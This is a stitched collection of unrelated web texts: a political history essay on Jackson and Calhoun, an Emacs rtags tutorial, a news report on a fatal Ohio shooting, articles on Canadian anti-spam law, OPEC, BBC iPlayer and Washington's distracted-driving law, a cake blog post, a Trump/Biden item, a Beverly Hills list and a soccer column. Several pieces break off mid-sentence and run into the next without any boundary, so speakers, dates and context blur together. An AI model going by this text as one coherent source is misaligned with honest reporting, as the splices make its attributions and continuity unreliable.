Most of the key players in this period had died or passed from the political stage by 1861. But not all of them. The Jacksonians who were most vociferous in their support of Jackson’s unionism tended to be staunch unionists when the South thrust the country into Civil War in 1861, even in a number of cases where they were Southerners or from border states. The Blair family of Maryland is a noteworthy example.
I mention all this to note that the issues raised by the Nullification Crisis were not wholly alien to ones that roil American politics today: particularly, whether groups that lose out in democratic politics need to or get special rights to protect themselves against democratic majorities. I would argue this basic question is again at the center of our politics – majorities versus groups who want protections from democracy, whether this is aggressive gerrymandering, voter suppression or the voices we now here so frequently that it’s just not fair that California, for instance, has so many people.
Jackson’s historical reputation has taken quite a beating in recent years and for some very good reasons. He was a slaveholder. He presided over the expulsion of Indian tribes from the Southeast in his second term. He was a convinced racist, though this did not greatly distinguish him from the great majority of white Americans at the time, certainly for white Southerners. He has also become known for his militarism. But this is an incomplete picture. Most of the public image of Jackson today, at least in the public arena is driven by the writing of Walter Russell Meade, whose grasp of the man and the period is, I would argue, rather thin and presentist. It’s this Jackson – militarist, unilateralist, authoritarian and nationalist that Bannon is in love with and through Bannon has become Trump’s favorite President.
But history is complex. There’s another dimension to Jackson – one rooted in his devotion to the federal union above all else and his belief in popular democracy (albeit one in which only white men were included) both of which he rightly saw threatened by what Calhoun and his supporters represented.
Trump’s claim in this interview that the Civil War didn’t need to happen and could have been worked out is rooted in Southern pro-slavery revisionism (and its descendent, contemporary neo-Confederacy) and more recently in the intellectuals who were and are the seedbed of what we now call the alt-right. Both Jackson and Calhoun were slaveholders. But slavery and Southern sectionalism were Calhoun’s guidestars. The crisis of the early 1830s was his effort to draw a line, a bastardized constitutional line to protect slavery and Southern power in what he accurately believed was an inevitable conflict. On this front, in addition to his narrow misunderstanding of Jackson’s feelings ‘about the Civil War’, Trump is far more in the Calhounite tradition than the Jacksonian one. Indeed, it’s from the descendants of Calhounism that Trump draws his greatest political punch.
[Did you enjoy reading this post? Considering supporting TPM by subscribing to Prime.]“Anti-doping rules need to be clear so that the public and the athletic can understand exactly where they stand. The problem with meldonium is that it is a grey area: does it count as deliberate performance enhancement or is it part of marginal gains, like optimising iron levels in the blood? And in terms of how it behaves in the body, there were always going to be challenges because it operates at a cellular level. There could be significant variation between individuals and the research needed could take many months.”
Wada disputed reports on Wednesday that there would be a “meldonium amnesty”. Yet its own document stated that “a finding of no fault or negligence” could now be made in certain circumstances – specifically when “the athlete could not reasonably have known or suspected that the substance would still be present in his/her body on or after Jan 1, 2016”.If you want C++ completion and navigation (jump to definition, jump to declaration, and so forth), there are several good options for Emacs. For a QtQuick / C++ project I’m working on, I needed the best Emacs has to offer.
This turned out to be the Clang-based rtags system.
Rtags is not the easiest of the options to get going, hence this short tutorial. I initially configured irony-mode, which is also Clang-based and was significantly easier to get going, but it soon started hanging on the completion of for example QStringList methods in my project. Because it also doesn’t support navigation, I decided to try rtags. So far, rtags has been working quite well on a Qt 5.x project of slightly under 200K lines of C++.
Pre-requisites On Ubuntu 14.04, I tested this with both libclang-3.6-dev from the standard repos and with libclang-3.8-dev from the LLVM repos. CMake should also be installed. On OSX 10.11 (El Capitan), homebrew took care of the dependencies for me (see next step).
From the documentation, simply clone the rtags repo and build it: git clone --recursive https://github.com/Andersbakken/rtags.git cd rtags cmake -DCMAKE_EXPORT_COMPILE_COMMANDS=1. make
Make a compilation database for your project rtags needs a compilation database file, usually called compile_commands.json, to figure out what compile options were used to compile which source files. If your project is using cmake, you only have to add the -DCMAKE_EXPORT_COMPILE_COMMANDS=1 to the cmake invocation to generate that file. In my case, and perhaps in yours, you have to use something else like Qt’s qmake system. In this case, you can use a tool like Build Ear (BEAR) or the Python-rewrite of scan-build. In both cases, you invoke the utility with your normal build command. In my Qt project, I do: bear --append make -j16 As your project builds, bear will capture all of the compilation commands and put them in compile_commands.json. With my project, the compile_commands.json finds itself in the out-of-source (shadow) build directory. (The first time, you have to do this after a clean, or a make clean, so all of the compile commands can be captured.) BEAR is preferable, but on the latest OSX with its new system integrity protection (SIP) and on some linuxes, it won’t work and you’ll end up with an empty compilation database. In these cases, use the intercept-build command from the scan-build package linked above.
You can do this from emacs, but due to better system process handling, I invoke this from a normal terminal: cd /where/you/built/rtags/bin nohup./rdm & When working with rtags, always make sure that RDM is running.
Tell RDM about your project using RC rc is the rtags command one uses to communicate with the rtags daemon RDM. Importantly, make sure that rc is in your path. We only have to tell RDM once about the location of any new project. Do this as follows: cd /your/project/source rc -J /dir/containing/compile_commands.json/ Note that the -J parameter is the directory containing the compile_commands.json file.
Configure your Emacs Install the Emacs rtags package: M-x package-install RET rtags RET Make sure that you also have the company package installed. Next, add the following to your Emacs init.el : ;; ensure that we use only rtags checking ;; https://github.com/Andersbakken/rtags#optional-1 ( defun setup-flycheck-rtags () ( interactive ) ( flycheck-select-checker 'rtags ) ;; RTags creates more accurate overlays. ( setq-local flycheck-highlighting-mode nil ) ( setq-local flycheck-check-syntax-automatically nil ) ) ;; only run this if rtags is installed ( when ( require'rtags nil :noerror ) ;; make sure you have company-mode installed ( require'company ) ( define-key c-mode-base-map ( kbd "M-." ) ( function rtags-find-symbol-at-point ) ) ( define-key c-mode-base-map ( kbd "M-," ) ( function rtags-find-references-at-point ) ) ;; disable prelude's use of C-c r, as this is the rtags keyboard prefix ( define-key prelude-mode-map ( kbd "C-c r" ) nil ) ;; install standard rtags keybindings. Do M-. on the symbol below to ;; jump to definition and see the keybindings. ( rtags-enable-standard-keybindings ) ;; comment this out if you don't have or don't use helm ( setq rtags-use-helm t ) ;; company completion setup ( setq rtags-autostart-diagnostics t ) ( rtags-diagnostics ) ( setq rtags-completions-enabled t ) ( push 'company-rtags company-backends ) ( global-company-mode ) ( define-key c-mode-base-map ( kbd "<C-tab>" ) ( function company-complete ) ) ;; use rtags flycheck mode -- clang warnings shown inline ( require'flycheck-rtags ) ;; c-mode-common-hook is also called by c++-mode ( add-hook 'c-mode-common-hook #'setup-flycheck-rtags ) ) You can either just eval this new code, or restart your emacs.
I mostly use M-. to jump to any symbol’s definition. Pressing M-. again will jump to and fro between definition and declaration. Use =M-,= to see all references to the symbol under the cursor. This is where Helm comes in especially useful. Use C-c r [ and C-c r ] to jump backwards and forwards through the position stack that rtags builds up as you jump between symbols. You can use C-c r I to get a list of rtags-extracted symbols in the current file, although semantic-mode with helm ( C-c h i ) gives you slightly less accurate but more colourful results. I use both. As you type, company-mode will usually interrupt after you’ve entered the first three characters of a symbol or member. I can’t wait that long, so I press C-tab to get a list of completions immediately. As an additional bonus, you’ll see Clang warnings indicated in bright red (usually) in your code window! As you’re working, remember to do builds with bear --append as shown above. I do this via M-x compile. rdm will pick up all changes and re-analyse files as you work!
Conclusions and other rambling I am quite impressed by how well rtags works on complex C++ projects! It is indeed clang under the hood, but rtags has overcome the considerable challenge of exposing this to Emacs in a robust and usable fashion. With this setup, I am able to take longer breaks from using QtCreator, which I don’t like very much. QtCreator has great potential, but unfortunately its Emacs keyboard emulation is sorely lacking (this could be forgiven) and as a general C++ IDE it still has a long way to go in the usability department. I remain optimistic that with competition like JetBrains (when I’m not in Emacs, I’m in something by JetBrains; their Emacs emulation is bearable!) out there, QtCreator will improve over time. Feel free to join the discussion in the comments below or on the reddit topic!
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Like this: Like Loading...BARBERTON, Ohio -- Moments after she had been shot and watched her boyfriend and his teenage children get shot by intruders in their Barberton apartment, Ronda Blankenship pleaded for help in a harrowing and heart-wrenching 9-1-1 call.
9-1-1 call
In the 3-minute call Barberton Police released Thursday, an audibly agonizing Blankenship told police she thought she had been stabbed, but she didn't know what was going on.
"I'm bleeding everywhere, my boyfriend's here, I've got two kids here," she said. "Help. Help. Oh God."
Blankenship is the sole survivor of the New Year's Eve shooting that left Ashley Carpenter, 18, David Kohler-Carpenter, 14, and John Kohler, 42, dead inside Kohler and Blankenship's Seventh Street Northeast apartment. Blankenship was listed in critical condition Friday afternoon at MetroHealth Medical Center in Cleveland.
The Summit County Medical Examiner Thursday said Ashley had died from a single gunshot to the head and David from gunshot wounds to the head. An autopsy is scheduled Monday for Kohler, who was pronounced dead at Akron City Hospital at 3:45 p.m. Friday.
Barberton Police Friday arrested and charged Akron brothers Michael, 22, and Eric Hendon, 30, with three counts of aggravated murder.
The elder Hendon, Eric, was released from prison on parole in June, 13 years after he was sent to prison for sexual battery and attempted aggravated murder of an Akron woman.
Barberton Police said the Hendons had targeted the home and were attempting to steal drugs and money when they entered before 7 p.m. Dec. 31.
Records show neither Kohler or Blankenship have any drug convictions against them in Summit County courts.
Michael Hendon pleaded guilty to a misdemeanor marijuana possession charge in 2010. Eric Hendon has no past drug convictions in Summit County.Making sure the people who get your marketing emails have explicitly asked to receive them is best practice anyway. But a new anti-spam law going into effect in Canada over the next few months makes it even more of a necessity. And, yes, it could impact small businesses in the U.S. too — if you email regularly to customers in Canada.
The Canadian Anti-Spam Law goes into force officially on July 1, 2014.
The new legislation is technically designed to protect Canadian citizens against particularly nasty spam messages used for phishing, identity theft and spyware.
Unless you use the proper precautions, your business could be found in violation. And you could be open to penalties of up to $10 million (in Canadian Dollar rates) and even private civil suits. The law applies even if you are located outside of Canada, but send to recipients who access the messages from within Canada.
In a nutshell, the law applies to all commercial electronic messages including email, text messages, social media, IM and voice messages. The law is much broader than its U.S counterpart, the CAN-SPAM Act, which has been in effect for a number of years.
Email marketing company Cakemail created the following helpful chart (and a CASL compliance guide) comparing the new Canadian anti-spam law with the U.S. CAN-SPAM law:
We also asked other email marketing companies what they are recommending for the new law.
In an email interview with Small Business Trends, Connie Sung Moyle, manager of public relations and digital strategy at San Francisco-based email marketing company VerticalResponse, explained:
“Our customer support team has fielded a few inquiries from customers, and we’re telling them to consult with a legal advisor to make sure they’re fully cooperating with the new law.”
The new regulation gives a three year grace period for email marketers to obtain permission from recipients they already email inside Canada.
However, after that time the Canadian government will be able to file suit for up to $10 million against violators. Even Canadian citizens will be empowered to bring suit against you and your business for a violation, warns Chandler, Ariz.-based email and sales software services provider Infusionsoft.
In a recent post for users on the official Infusionsoft blog, product marketing specialist Justin Topliff added:
“Because it may be difficult to determine which contacts in your database are located in Canada, Infusionsoft encourages you to obtain a double opt-in from your entire database. This is a best practice for email marketing and will ensure you are in total compliance with all Canadian and U.S. spam laws on this issue.”
Meanwhile Constant Contact, the Waltham, Mass.-based company whose online marketing toolkit includes email and other services, says it is focusing on educating customers about the law. Lisa Kember, the company’s Regional Director for Eastern Canada explains:
“We are proactively reaching out to our customers — both those in Canada and those that market to Canada — to help guide them through the process of being CASL compliant.”
Constant Contact plans to hold webinars in June about the impending law and is offering new templates to make gaining customer consent easier.
Editor’s note: an earlier version of this article neglected to credit Cakemail for the chart.Patrick L Young is CEO of niche crowdfunding platform HanzaTrade and an advisor to fund managers throughout the world. Born in Ireland, he is an active investor in the “New Europe” amongst other emerging markets and is an active Co Founder of grassroots startup group "Mission ToRun." Home Page: http://patricklyoung.net Twitter: @FrontierFinance
A market flooding production strategy many saw as intending to kill the US-centric shale revolution, has, if anything, only made it stronger. In essence the OPEC cartel is signing its own death warrant.
As always the communique suggests harmony and continuity but behind the scenes this was apparently a more fraught OPEC meeting than most. The ‘swing producer’ Saudi Arabia managed to keep things going the way it wants, albeit by continuing to flood the market with oil below even its own cost of production.
The 30 million barrel per day output target stays, although that is being habitually broken by the members (30.93 million in April for instance). At the center of OPEC, Saudi Arabia is being heavily criticized by various countries whose production costs are significantly higher than even the $60 range to which crude prices have recently bounced back after ranging from a $115 peak to around $50 at the lows. Their squeals of pain are proportionate to their lack of reserves – the House of Saud has built up a large war chest over the years to play the energy market for perceived political gain. Bankrupt Venezuela and growing nations like Nigeria simply don’t have the cash reserve firepower to withstand the Saudi’s open taps flooding the market and pushing prices down.
However the greatest internal threat comes from Saudi Arabia’s old Persian foe. If Tehran convinces President Obama to remove sanctions, then the Iranians are already threatening to increase output by another million barrels per day. Thus the maths of OPEC’s mutually assured bankruptcy are growing.
The OPEC cartel has been threatened many times but actually this time it may be different. A perfect storm is attacking the oil industry. The perceived thrust of the OPEC decision to pump and be damned, was expected wash away the upstart shale producers of North America. This strategy has managed in the past to keep threats from the likes of Norway, the UK Brent fields and so forth in check. However, the problem is no longer one of single field producers upsetting the balance of the prevailing cartel. Now the threat is the hydrocarbon equivalent of the digital revolution.
Shale producers shuddered when the oil price plummeted and the number of US rigs dropped 24 weeks in a row from 1600 to around 600. The problem is the remaining rigs are producing more oil than the US pumped before.
The fracking revolution is inevitable. As Russian Energy Minister Aleksandr Novak noted the other day “By 2040, almost 65 million barrels of high-tech oil will be extracted per day, this includes shelf extraction, shale, deep-water extraction and so on.”
Remember: the current daily OPEC target is 30 million barrels per day.
In the United States, the oil industry has long been driven by some (often crazy) entrepreneurial folk who have pushed technology to profitably deliver |
summer heat.
“We had a great time,” Becca Duncan said. “Dad had a lot of fun, his two girls by his side. It was really awesome.”
The family gathered at Scott Duncan's care facility in April to celebrate his 80th birthday. From left to right, Pamela Duncan, Becca Duncan, Scott Duncan, Sarah Duncan and Joe Duncan. Photo courtesy of Sarah Duncan
Scott Duncan, who was diagnosed with Alzheimer’s in 2012, wasn’t aware of exactly what was happening during the photo session, but knew that his girls were in wedding attire and he was joyful, Sarah Duncan said.
“He loved seeing us get dressed up like that,” she said. “He got the biggest smile and his eyes watered up. You could tell he was proud that we were his daughters.”
The sisters, who were single at the time and now have serious boyfriends, came up with the idea for the pictures together, having seen other people take wedding photos with an ill parent.
Sarah and Becca Duncan said dad Scott may not have understood the photo shoot completely, but he was proud and happy to pose with them. Lindsey Rabon / www.lindseyrabon.com
“We wanted to do a first dance and record it to play it at our wedding,” Sarah Duncan said. “He wasn’t in physical condition to do that, so we thought the pictures would be better.”
To make the photos a reality, the sisters sought help from Facebook friends. About 10 wedding gowns were offered and the bouquets were donated as well. A family friend, photographer Lindsey Rabon, took the photos free of charge.
The sisters will serve as honorary co-chairs of the Alzheimer’s Association’s Walk to End Alzheimer's in Grapevine next month.
The Duncan family is shown at a walk in support of ending Alzheimer's disease. Courtesy of Sarah Duncan
They are grateful they took the photos when they did, as their dad is now in the later stages of Alzheimer’s. “His disease, it’s just progressed so fast,” Becca Duncan said. “There’s no way we’d be able to do it now.”
“I’m very blessed we got to do this with our dad,” she added. “Looking at the pictures brings back the memories and good feelings. They’re hanging in his room and it’s nice going in there and seeing it. It means a lot.”
TODAY.com contributor Lisa A. Flam is a news and lifestyles reporter in New York. Follow her on Twitter: @lisaflamThe figures were published to mark the iPlayer's second birthday
BBC Two show Top Gear was the most watched programme of the year on BBC iPlayer, figures show.
The first episodes of series 13 and 14 of the car magazine show were streamed 1.7m and 1.3m times respectively.
The figures have been published to mark the second birthday of the iPlayer on Christmas Day.
November saw a record 88.2m requests for BBC TV and radio programmes, bringing the total number of requests for content to 729.2m.
Viewing patterns
"These figures show people are making the most of the choice they now have," Erik Huggers, the BBC's director of future media and technology said.
"Whether it's watching EastEnders on your PC during your lunch break, listening to Desert Island Discs on the bus or watching Mock The Week in bed, viewing patterns change depending on the time and location of the audience."
The iPlayer is now available on more than 20 different devices including games consoles and mobile phones.
The new data provides an insight into how users differ depending on the platform they use.
Mac and PS3 users prefer comedy shows like Mock The Week, while PC and Virgin Media users are more keen on drama, with EastEnders and Waking The Dead proving more popular.
More people also tend to watch content after 9pm and on Saturday and Sunday mornings.
This Christmas sees a range of films available on iPlayer including The Incredibles, Pirates Of The Caribbean: At World's End and the Oscar-winning La Vie En Rose.
The Strictly Come Dancing Christmas special, The Queen's Christmas message and David Tennant's final outing in Doctor Who will also be available to watch.
Meanwhile, Doctor Who has achieved a record primetime audience for BBC America, the channel has confirmed.
The Waters of Mars, which was broadcast in the US on Saturday attracted 1.1 million viewers.
It is the first of three Doctor Who specials airing on Saturday nights on BBC America, culminating in Tennant's farewell show on 2 January.Washington state’s new distracted-driving law is now in effect. Here’s what you need to know to avoid a ticket.
No more excuses, public-safety officials say.
On the road, off the phone.
But would you actually be charged the $136 fine for violating Washington state’s new anti-distraction law, which takes effect Sunday?
That depends on where you drive.
The Washington State Patrol will ease into a six-month grace period, when troopers issue warnings and hand out educational cards.
“In the end, for us, it’s all about compliance. We want people to be safe on the road, we don’t want to issue tickets,” State Patrol spokesman Kyle Moore said.
Seattle police and Snohomish County deputies intend to similarly focus on education, then implement fines a few months from now.
On the other hand, the King County Sheriff’s Office, which patrols 13 cities and towns as well as county roads, will immediately treat electronic distraction like other violations. Deputies will use discretion to cite or warn, based on severity, a motorist’s record, or the person’s attitude.
Learn more about Traffic Lab » | Follow us on Twitter » Traffic Lab is a Seattle Times project that digs into the region’s thorny transportation issues, spotlights promising approaches to easing gridlock, and helps readers find the best ways to get around. It is funded with the help of community sponsors Alaska Airlines, CenturyLink, Kemper Development Co., NHL Seattle, PEMCO Mutual Insurance Company and Seattle Children’s hospital. Seattle Times editors and reporters operate independently of our funders and maintain editorial control over Traffic Lab content.
“Why wait six months, when sometimes the only message that will get through to people to change their behavior is to actually receive a citation?” said Sgt. Cindi West.
Redmond police are expected to issue fines immediately, without a grace period. Bellevue police will give warnings for two weeks before issuing fines, as prescribed by city traffic codes.
And be sure to put the phone away in Colfax, Whitman County — where generations of westsiders have been speed-trapped on the highway to Washington State University in Pullman.
Police write about 100 tickets a week, to tame as many as 10,000 vehicles some days passing through the town of 2,828 people.
“We’ve got such a big volume of traffic going through our downtown, with a lot of pedestrians. There’s no excuse using a cellphone while driving,” said Colfax police Chief Rick McNannay. “There’s been so much hype about this law, my personal opinion is that a grace period is unnecessary.”
Police and firefighters in Colfax responded to and then grieved for resident Sam Thompson, 20, who died in a head-on crash while texting and driving nearby in 2014. His grandmother, Lavera Wade, testified this year for Senate Bill 5289, the Driving Under the Influence of Electronics Act, which passed in a display of bipartisanship.
Last year, 156 of the 537 roadway deaths in Washington state were blamed on distraction of various kinds, as were 572 of the 2,208 serious injuries.
Some frequently asked questions:
Q. What is banned?
The law forbids handheld uses. Not just phone calls, but composing or reading any kind of message, social media post, photograph or data.
Drivers may not use handheld devices while at a stop sign or red-light signal.
All video watching is illegal, even in a dashboard or dash-mounted device.
Q. What’s legal?
Common built-in electronics, including hands-free phones, satellite music and maps, are legal.
Drivers may even turn on a smartphone that’s mounted in a dashboard cradle, for limited purposes such as navigation apps, a voice-activated call, or music streaming. The new law allows the “minimal use of a finger.”
Handheld phone calls to 911 or other emergency services are legal, as are urgent calls between transit employees and dispatchers. Amateur radio equipment and citizens-band radio remain legal.
To legally use a handheld device for non-emergencies, the driver must pull away from traffic lanes, to where the vehicle “can safely remain stationary.”
Q. What does “minimal use of a finger” mean?
Police will use their judgment. State Patrol Trooper Rick Johnson, a spokesman based in Bellevue, sees it this way: “The idea is for you to activate your phone with one touch, so you don’t have to look away from your windshield to dial 10 numbers, to make a phone call.” Typing a map address while in traffic, now common behavior, will be treated by many troopers as a violation, he said.
Q. Is driving under the influence of electronics (DUI-E) a primary offense?
Yes. A police officer can pull someone over, merely based on seeing a motorist use a handheld device, type, or watch video.
Q. How much does a ticket cost?
The fine is $136 for the first offense. For additional violations within five years, the fine increases to $234 per citation.
Q. Will a ticket raise my insurance rates?
Probably, if you‘ve been found guilty of other traffic violations.
Distracted-driving citations will be reported in state driving records, unlike the previous law. Insurance companies will track them.
Rate hikes would vary by driver, said Kenton Brine, president of the NW Insurance Council. “I think the bigger issue for the insurer is whether they see multiple tickets over an extended period of time,” he said.
Q. What about other distractions?
Miscellaneous distractions such as grooming or eating are a secondary offense, meaning a ticket may be issued if a law-enforcement officer pulls you over for some other offense, such as speeding or a dangerous lane change.
The standard fine is $99 — which is more than the $30 mentioned in the legislation, and past news reports. The higher total, like the electronic-distraction penalty, includes fees for state government and trauma care.
“Embracing another while driving” has been illegal since 1927. If a cop sees your arm around someone so both hands can’t reach the wheel, that’s a reckless-driving offense.
Q. I raise my cellphone near my hearing aid. Is that OK?
This was legal under an exemption in the 2007 distraction law — which the new law eliminates Sunday. Bluetooth devices have been developed for hearing-impaired people, while the Washington Traffic Safety Commission sought fewer exceptions, so police can effectively apply DUI-E rules. “There is no right to use a phone while driving,” said Shelly Baldwin, WTSC government liaison.
Q. Is the law really enforceable?
Washington state is home to 5.7 million licensed drivers and 165 million miles of travel miles daily. Roadway observations find 10 percent of drivers on the road are handling a phone.
There’s no way for police to watch everyone.
Early this year, as few as a half-dozen State Patrol troopers covered some shifts in the entire Eastside detachment, from the floating bridges to Snoqualmie Pass. Statewide there were 89 vacancies of 671 trooper positions, though that should improve with two academy classes and pay raises this year.
Seattle’s traffic division of 58 officers already can’t meet public demand to clear gridlocked intersections and bus lanes, or enforce 20-mph school zones, or maintain bikeways or sidewalks.
So cultural change is required, plus technology to replaceor block hazardous behavior. Sponsors point to Washington’s 95 percent seat-belt use rate as hope smartphone laws can take root.
Even during a grace period, drivers statewide will still be cited under older laws that forbid using a cellphone at the ear, and texting. For perspective, about 39,000 tickets were issued statewide per year under the old law, while drivers caught by troopers had a 50-50 chance of getting off with just a warning.
Q. Why a grace period?
The legislation originally had a compromise clause that delayed enforcement until Jan. 1, 2019, but Gov. Jay Inslee vetoed that section of the bill.
“He essentially vetoed the education part of the bill,” said state Rep. Dave Hayes, R-Camano Island, who opposed early versions of the bill but voted yes after sponsors included his amendment to add nonelectronic distractions.
As a result, the law goes into effect Sunday, 90 days after the end of the Legislature’s regular session.
Hayes is glad the State Patrol is waiting a while to write tickets. That soft launch is also supported by the Washington Traffic Safety Commission, which has only $350,000 for publicity.
“I think in the end, it’s going to be a good bill,” Hayes said.
Among other reasons, Moore said the grace period gives people time to buy a hands-free device.
However, the National Safety Council cites research showing that even hands-free use consumes one-third of brain capacity to process moving objects. CEO Deborah Hersman recommends a ban on built-in devices.
In anticipation, Car Toys is touting its hands-free products to keep motorists legal and practice “safer driving.”
A few more customers than usual are asking for Bluetooth devices this month at El Garage Car Stereo in White Center, said owner Gaspar Tellez, who installs 20 to 25 per month.
Dutton Clarke, owner of Stereo Warehouse on Aurora Avenue North, said customers usually acquire hands-free calling bundled with their sound systems, not a separate order. Most entry-level $80 decks include phone software, he said. Or they can buy $200 systems that include navigation, touch screens and the frequently-requested backup cameras.
What he hasn’t noticed is a summer rush to beat the distracted-driving bill.
“They’re more interested in wirelessly streaming their music, than in the law.”December 18, 2011
Heyyoooooou guuuuuuuys!
That's right: put your hair in scrunchies and peg your jeans; it's about get all eighties up in here!
Sorry if I got your hopes up for a Goonies cake just now (that would be an entire post in itself), but how about an awesome Gremlin cake to whet your '80s appetite?
By eat Cakes
It's sweet little Gizmo! (This movie terrified me as a child. Possibly as an adult also).
I was born and raised in the '80s (and the U.S.A! Bruuuuuuuuuce!) so I totally remember getting a Rubik's Cube in my Christmas stocking... aaand throwing it against the wall ten frustrating minutes later. Obviously mine was defective.
Submitted by Mira C; baker unknown. Photography by bunchofpants.
But there's nothing puzzling about this great cake, because it's hip to be square!
And speaking of squares...
Submitted by Kim D. and made by The Cake Shop of San Jose
...that was the only thing I could ever produce on my Etch-a-Sketch. Well, that and stairs. Ahh, memories! I love the Superman logo here, it's a double dose of nostalgia!
If you were also a child of the eighties, I bet you can't look at this next cake without the theme song to Super Mario Bros plinking through your head.
By Icings by Ang
(Bing ding ding, da-ding da-ding!) I know you know what I'm talking about.
Or, if you preferred to get your video game fix by hoofing it down to the Qwick Stop with a pocket full of quarters, this might look familiar to you:
Submitted by Jenn F-S and made by Sweetest Perfections
Dragon's Lair! A total classic, and if that cake is life-size it could easily be the raddest thing I've seen all year.
And here are some familiar faces — Tom & Jerry, Spider-Man, Superman, and Looney Tunes to name a few. And Thundercats! HOOOOOO!
Submitted by Melissa K. and made by The Ladygloom
Although,I do see a few stowaways from the '90s getting a little ahead of themselves in there (I'm looking at you, SpongeBob). But to be fair, do you remember Pillow People? Pretty sure those were the early ancestors of SpongeBob.
These colorful confections are sure to make you smile:
Submitted by Jennifer V. and made by The Ladygloom
"Friendship is magic!" And so is cake! Especially when it's this cute! Wasn't Pinkie Pie everyone's favorite My Little Pony? (Or did you prefer that seahorse spin-off thing, Seawinkle? That one was weird).
Hey, Color Kids! Remember Twink, the loveable sprite sidekick of Rainbow Brite? Of course you do!
By Lisa A.
This wasn't made by a professional baker, but it's a) ten zillion times better than I could ever do, and b) so adorable I want to give it a hug!
Hang on a sec. I have to make a call. Because there's something strange... in my neighborhood.
By Brendy's Cakes
Slimer! Check out all the great details on the Ectomobile here: that logo is spot-on perfect. I ain't afraid of no ghosts!(Ok, I admit... I was also terrified of this movie as a child.)
And if you are craving more '80s hit movie cakes, may I present: Raiders of the Lost Ark!
Submitted by Shannon and made by Cakes by Jeanine
At least...I think that's the movie this cake represents. Is this the one with the torture pit of lava? And the little snakes coming out of the big snake for people to eat? Yeah, still having nightmares.
Maybe I'll go cuddle my Cabbage Patch Kid for comfort.
Submitted by Jen M. and made by Charm City Cakes
OutSTANDING. Ha, get it?!
Yup, anyway you slice it,
By KAMI Cakes
...the '80s like, totally rocked!
by The Cake Barn
Have a Sweet to nominate? Then send it to Sunday Sweets (at) Cake Wrecks (dot) com.OUCH! TRUMP RIPS BIDEN For “Take Him Behind The Gym” Threat (VIDEO)
Guest post by Tom Franklin at American Lookout:
The other day, Joe Biden wanted to act like a tough guy.
He said he’d like to take Trump behind the gym.
And do what exactly?
Joe Biden: “The press always asks me, don’t I wish I were debating him? No, I wish we were in high school, and I could take him behind the gym. That’s what I wish.“
What did Biden want to do behind the gym? Biden didn’t say.
Today, Donald Trump responded. He lowered the boom on Biden!
From the video:
“Did you see where Biden wants to take me to the back of the barn? Me? He wants it. I’d love that. I’d love that! Mr. Tough Guy! You know – He’s Mr. Tough Guy! You know when he’s Mr. Tough Guy? When he’s standing behind a microphone by himself. That’s when – He wants to bring me to the back of the barn. Oooh... Some things in life, you could really love doing... And by the way, if I’d said that, they’d say, ‘He’s violent! How could he have done that?’”
Via ABC Politics:
Donald Trump taunts 'tough guy' Vice President Joe Biden over 'behind the gym' comments. https://t.co/Mp78BfZ5x8 https://t.co/REMqQ9Qoa0 — ABC News Politics (@ABCPolitics) October 25, 2016This post was contributed by a community member.
Beverley Hills may be the home of the "rich and famous," but people from all walks of life come to this iconic city to enjoy the exciting attractions, many of which are completely free-of-charge. Rox San Pharmacy has been part of this rich culture since the 1950's and offers a short list of some of the most popular things to do regardless of your budget.
1. If you want to catch a glimpse of your favorite movie stars, then the Golden Triangle on Rodeo Drive is the place to be. This is where celebrities meet and mingle with the large number of fashionable restaurants and boutique stores.
2. Visit Rodeo Drive's Walk of Style where the sidewalks are embedded with autographed plaques of famous designers and top fashion models.
3. Take a picture in front of the world-renowned Beverley Hills city-limits sign located at the corner of Moreno Drive and Santa Monica Boulevard.
4. Spend the day window shopping along Wilshire Boulevard, otherwise known as Department Store Row by some of the locals. Visit high-end retailers like Niemen Marcus, Barneys, and Saks Fifth Avenue.
5. Visit Beverley Hills Park to gaze upon some of the most beautiful sculptures ever displayed in public, including the stainless steel "Erratic" which spans an incredible 15 feet.
6. Drop by the world-famous Beverley Hills Hotel and walk their red carpet like a true movie star.
7. Another famous hotel to visit is the Beverley Wilshire. This is where Julia Roberts filmed the movie "Pretty Woman."
8. Pile into the car and tour the hills where you will see some of the most magnificent homes and private mansions ever built.
9. Take a walking tour by printing a free map from LoveBeverlyHills.com. This will take you through some of the city's most frequented locations of the stars.
10. For music enthusiasts, the Beverly Canon Gardens is always a hot spot of activity. From Jazz musicians to Rockabilly Bands, there is always something exciting happening at the Gardens.
11. Take a free yoga class with the famous designer of fitness wear, Lululemon. She also hosts a weekly jogging event that is always open to the public.
12. If you simply want to go for a jog all by yourself while also getting a free tour of the city, run along the 11-block pedestrian trail in Beverly Gardens Park, shaded by beautiful majestic oak and maple trees.
13. Every Sunday from 9 am to 1 pm, the Beverly Hills Farmer's Market is bustling with activity. Besides the recently hand-picked fruits and vegetables and fresh cut flowers, there is usually live music and lots of free children's activities.
14. Take a break at one of the local coffee shops to plan the next leg of your journey, most of which will offer free Wi-Fi to their guests.
15. And if you are still wanting for things to do, stop by the Beverly Hills Visitors Center. A concierge is always available to answer questions and provide insider tips on local events.Who is the United States Soccer Player of the Year? For me, it's a no-brainer: Michael Bradley. But you could make a compelling case for Jozy Altidore, Clint Dempsey, or Landon Donovan. Here's my take.
BY John Godfrey Posted
November 12, 2013
4:00 PM SHARE THIS STORY
U.S. Soccer Player of the Year ballot arrived today at 4:34 a.m.
Honda used to sponsor the award, but now it's run by Fútbol de Primera (FDP), the exclusive U.S. radio broadcaster of the Brazil 2014, Russia 2018, and Qatar 2022 FIFA World Cups. (I don't think I've ever listened to soccer on the radio. May have to try that sometime.) Media types do the voting, and any U.S. national team player who has appeared in three or more games in 2013 is eligible for the award.
Worth noting: Club form is irrelevant. It's all about performances for the United States national team.
Last year Clint Dempsey won, Michael Bradley came in second, and Tim Howard finished third. More interesting, though, is the previous winners list, which reveals the decade-long dominance of two American players: Landon Donovan and Clint Dempsey.
(2010, 2009, 2008, 2007, 2004, 2003, 2002)(2006, 2011, 2012)(2005, 1999)(2001)(2000)(1998)(1997)(1996,1992)(1995)(1994)(1993)(1991)
Amazingly, either Landon Donovan or Clint Dempsey have won 10 of the last 11 FDP Player of the Year Awards, and one or the other has won every title since 2006. Kasey Keller broke their streak in 2005, but aside from that, the 21st century kind of belongs to LD and Deuce.
Tim Howard has never won the award. Neither has Jozy Altidore, DaMarcus Beasley, Carlos Bocanegra, Steve Cherundolo, Tim Howard, Brian McBride, or Joe-Max Moore.
If I have my way, the Donovan-Dempsey dominance will end with the 2013 FDP Player of the Year Award.
Both players deserve serious consideration: Donovan played in 10 matches this year, scoring eight goals and registering eight assists in 818 minutes of action. He also led the U.S. to the 2013 Gold Cup title in impressive fashion, albeit against uneven competition.
